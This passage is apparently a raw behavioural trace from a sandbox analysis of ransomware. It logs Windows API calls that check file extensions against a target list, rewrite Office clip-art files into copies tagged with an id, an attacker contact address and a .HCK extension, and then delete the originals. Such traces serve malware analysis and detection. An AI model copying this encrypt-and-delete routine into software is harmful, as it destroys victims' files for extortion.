Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG") returned 68 [0179.815] lstrlenW (lpString=".jpg") returned 4 [0179.815] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0179.815] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0179.815] lstrlenW (lpString="PH02740G.GIF") returned 12 [0179.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.816] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=24363) returned 1 [0179.816] CloseHandle (hObject=0x2fc) returned 1 [0179.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740g.gif")) returned 0x220 [0179.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740g.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.820] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.820] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740g.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.825] GetLastError () returned 0x0 [0179.825] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x5f2b, lpOverlapped=0x0) returned 1 [0179.828] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x5f30, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5f30, lpOverlapped=0x0) returned 1 [0179.829] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.829] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.829] SetEndOfFile (hFile=0x370) returned 1 [0179.832] CloseHandle (hObject=0x370) returned 1 [0179.832] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.832] SetEndOfFile (hFile=0x300) returned 1 [0179.835] CloseHandle (hObject=0x300) returned 1 [0179.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740g.gif")) returned 1 [0179.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF") returned 68 [0179.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF") returned 68 [0179.839] lstrlenW (lpString=".doc") returned 4 [0179.839] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0179.839] lstrlenW (lpString=".docx") returned 5 [0179.839] lstrcmpiW (lpString1=".docx", lpString2="G.GIF") returned -1 [0179.839] lstrlenW (lpString=".pdf") returned 4 [0179.839] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0179.839] lstrlenW (lpString=".xls") returned 4 [0179.839] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0179.839] lstrlenW (lpString=".xlsx") returned 5 [0179.839] lstrcmpiW (lpString1=".xlsx", lpString2="G.GIF") returned -1 [0179.839] lstrlenW (lpString=".ppt") returned 4 [0179.839] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0179.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF") returned 68 [0179.839] lstrlenW (lpString=".zip") returned 4 [0179.839] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0179.839] lstrlenW (lpString=".rar") returned 4 [0179.839] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0179.839] lstrlenW (lpString=".bz2") returned 4 [0179.839] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0179.839] lstrlenW (lpString=".7z") returned 3 [0179.839] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0179.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF") returned 68 [0179.839] lstrlenW (lpString=".dbf") returned 4 [0179.840] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0179.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF") returned 68 [0179.840] lstrlenW (lpString=".1cd") returned 4 [0179.840] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0179.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF") returned 68 [0179.840] lstrlenW (lpString=".jpg") returned 4 [0179.840] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0179.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF") returned 68 [0179.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF") returned 68 [0179.840] lstrlenW (lpString=".doc") returned 4 [0179.840] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0179.840] lstrlenW (lpString=".docx") returned 5 [0179.840] lstrcmpiW (lpString1=".docx", lpString2="G.GIF") returned -1 [0179.840] lstrlenW (lpString=".pdf") returned 4 [0179.840] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0179.840] lstrlenW (lpString=".xls") returned 4 [0179.840] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0179.840] lstrlenW (lpString=".xlsx") returned 5 [0179.840] lstrcmpiW (lpString1=".xlsx", lpString2="G.GIF") returned -1 [0179.840] lstrlenW (lpString=".ppt") returned 4 [0179.840] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0179.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF") returned 68 [0179.840] lstrlenW (lpString=".zip") returned 4 [0179.840] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0179.840] lstrlenW (lpString=".rar") returned 4 [0179.840] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0179.840] lstrlenW (lpString=".bz2") returned 4 [0179.840] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0179.840] lstrlenW (lpString=".7z") returned 3 [0179.840] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0179.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF") returned 68 [0179.840] lstrlenW (lpString=".dbf") returned 4 [0179.840] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0179.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF") returned 68 [0179.840] lstrlenW (lpString=".1cd") returned 4 [0179.840] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0179.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF") returned 68 [0179.840] lstrlenW (lpString=".jpg") returned 4 [0179.840] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0179.840] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0179.840] lstrlenW (lpString="PH02743G.GIF") returned 12 [0179.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02743g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.843] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=28038) returned 1 [0179.843] CloseHandle (hObject=0x3a4) returned 1 [0179.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02743g.gif")) returned 0x220 [0179.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02743g.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02743g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.855] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.855] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02743g.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.859] GetLastError () returned 0x0 [0179.859] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x6d86, lpOverlapped=0x0) returned 1 [0179.861] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x6d90, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6d90, lpOverlapped=0x0) returned 1 [0179.862] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.862] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.862] SetEndOfFile (hFile=0x300) returned 1 [0179.864] CloseHandle (hObject=0x300) returned 1 [0179.865] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.865] SetEndOfFile (hFile=0x370) returned 1 [0179.871] CloseHandle (hObject=0x370) returned 1 [0179.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02743g.gif")) returned 1 [0179.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF") returned 68 [0179.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF") returned 68 [0179.873] lstrlenW (lpString=".doc") returned 4 [0179.873] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0179.873] lstrlenW (lpString=".docx") returned 5 [0179.873] lstrcmpiW (lpString1=".docx", lpString2="G.GIF") returned -1 [0179.873] lstrlenW (lpString=".pdf") returned 4 [0179.873] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0179.873] lstrlenW (lpString=".xls") returned 4 [0179.873] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0179.873] lstrlenW (lpString=".xlsx") returned 5 [0179.873] lstrcmpiW (lpString1=".xlsx", lpString2="G.GIF") returned -1 [0179.873] lstrlenW (lpString=".ppt") returned 4 [0179.873] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0179.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF") returned 68 [0179.873] lstrlenW (lpString=".zip") returned 4 [0179.873] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0179.873] lstrlenW (lpString=".rar") returned 4 [0179.873] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0179.873] lstrlenW (lpString=".bz2") returned 4 [0179.873] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0179.873] lstrlenW (lpString=".7z") returned 3 [0179.873] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0179.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF") returned 68 [0179.873] lstrlenW (lpString=".dbf") returned 4 [0179.873] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0179.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF") returned 68 [0179.873] lstrlenW (lpString=".1cd") returned 4 [0179.873] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0179.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF") returned 68 [0179.873] lstrlenW (lpString=".jpg") returned 4 [0179.873] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0179.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF") returned 68 [0179.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF") returned 68 [0179.873] lstrlenW (lpString=".doc") returned 4 [0179.873] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0179.873] lstrlenW (lpString=".docx") returned 5 [0179.874] lstrcmpiW (lpString1=".docx", lpString2="G.GIF") returned -1 [0179.874] lstrlenW (lpString=".pdf") returned 4 [0179.874] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0179.874] lstrlenW (lpString=".xls") returned 4 [0179.874] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0179.874] lstrlenW (lpString=".xlsx") returned 5 [0179.874] lstrcmpiW (lpString1=".xlsx", lpString2="G.GIF") returned -1 [0179.874] lstrlenW (lpString=".ppt") returned 4 [0179.874] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0179.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF") returned 68 [0179.874] lstrlenW (lpString=".zip") returned 4 [0179.874] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0179.874] lstrlenW (lpString=".rar") returned 4 [0179.874] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0179.874] lstrlenW (lpString=".bz2") returned 4 [0179.874] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0179.874] lstrlenW (lpString=".7z") returned 3 [0179.874] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0179.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF") returned 68 [0179.874] lstrlenW (lpString=".dbf") returned 4 [0179.874] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0179.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF") returned 68 [0179.874] lstrlenW (lpString=".1cd") returned 4 [0179.874] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0179.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF") returned 68 [0179.874] lstrlenW (lpString=".jpg") returned 4 [0179.874] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0179.874] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.874] lstrlenW (lpString="PH02748U.BMP") returned 12 [0179.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.876] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=32400) returned 1 [0179.876] CloseHandle (hObject=0x3a4) returned 1 [0179.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748u.bmp")) returned 0x220 [0179.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.885] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.885] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.887] GetLastError () returned 0x0 [0179.887] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7e90, lpOverlapped=0x0) returned 1 [0179.889] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7ea0, lpOverlapped=0x0) returned 1 [0179.890] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.890] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.890] SetEndOfFile (hFile=0x300) returned 1 [0179.892] CloseHandle (hObject=0x300) returned 1 [0179.894] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.894] SetEndOfFile (hFile=0x2fc) returned 1 [0179.898] CloseHandle (hObject=0x2fc) returned 1 [0179.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748u.bmp")) returned 1 [0179.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP") returned 68 [0179.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP") returned 68 [0179.900] lstrlenW (lpString=".doc") returned 4 [0179.900] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.900] lstrlenW (lpString=".docx") returned 5 [0179.901] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.901] lstrlenW (lpString=".pdf") returned 4 [0179.901] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString=".xls") returned 4 [0179.901] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString=".xlsx") returned 5 [0179.901] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.901] lstrlenW (lpString=".ppt") returned 4 [0179.901] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP") returned 68 [0179.901] lstrlenW (lpString=".zip") returned 4 [0179.901] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString=".rar") returned 4 [0179.901] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString=".bz2") returned 4 [0179.901] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString=".7z") returned 3 [0179.901] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP") returned 68 [0179.901] lstrlenW (lpString=".dbf") returned 4 [0179.901] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP") returned 68 [0179.901] lstrlenW (lpString=".1cd") returned 4 [0179.901] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP") returned 68 [0179.901] lstrlenW (lpString=".jpg") returned 4 [0179.901] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP") returned 68 [0179.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP") returned 68 [0179.901] lstrlenW (lpString=".doc") returned 4 [0179.901] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString=".docx") returned 5 [0179.901] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.901] lstrlenW (lpString=".pdf") returned 4 [0179.901] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString=".xls") returned 4 [0179.901] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString=".xlsx") returned 5 [0179.901] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.901] lstrlenW (lpString=".ppt") returned 4 [0179.901] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP") returned 68 [0179.901] lstrlenW (lpString=".zip") returned 4 [0179.901] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString=".rar") returned 4 [0179.901] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString=".bz2") returned 4 [0179.901] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString=".7z") returned 3 [0179.901] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP") returned 68 [0179.901] lstrlenW (lpString=".dbf") returned 4 [0179.901] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP") returned 68 [0179.902] lstrlenW (lpString=".1cd") returned 4 [0179.902] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP") returned 68 [0179.902] lstrlenW (lpString=".jpg") returned 4 [0179.902] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.902] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.902] lstrlenW (lpString="PH02750U.BMP") returned 12 